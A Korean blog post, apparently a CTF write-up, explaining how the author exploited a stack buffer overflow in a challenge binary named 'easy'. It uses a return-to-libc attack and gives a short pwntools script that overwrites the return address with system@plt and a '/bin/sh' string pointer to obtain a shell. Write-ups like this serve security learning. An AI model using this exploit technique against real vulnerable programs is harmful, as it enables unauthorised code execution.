티스토리 뷰

블로그보다가 바이너리 있길래 easy easy.. very easy 다른거 풀다가 안풀려서 풀어봤는데 easy.


그냥 RTL 하면 된다.



buf의 위치는 bp-108인데 입력은 130만큼 받는다.


고로 bof가 발생한다.

system 함수는 있겠고. 설마 /bin/sh이 있나 했더니


있었다.


고로 간단하게 RTL했다.


먼저 메모리구조는

buf(108byte) | sfp(4) | ret(4) | AAAA | 인자


요러케 되고 저렇게 공격하면 된다.


0x8048310 <system@plt>



0x804a020 ("/bin/sh")


이것들을 이용해서.



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

from pwn import *

s = process("./easy")

system = 0x8048310

cmd = 0x804a020

payload = "A"*112

payload += p32(system)

payload += "AAAA"

payload += p32(cmd)

s.send(payload)

s.interactive()

cs


ret에서 system으로 뛰고 인자로 cmd를 넣어줬다.



쉘을 얻을 수 있다.

'pwnable > CTF write-up' 카테고리의 다른 글

[Codegate 2016] watermelon write-up  (0) 2018.05.24
[CSAW2013] exploitation-2 write-up  (0) 2018.05.14
[CSAW2013] Exploitation-1 write-up  (0) 2018.05.12
[Codegate 2018] betting write-up  (0) 2018.05.12
[Codegate 2017] babypwn write-up  (0) 2018.01.30
Comments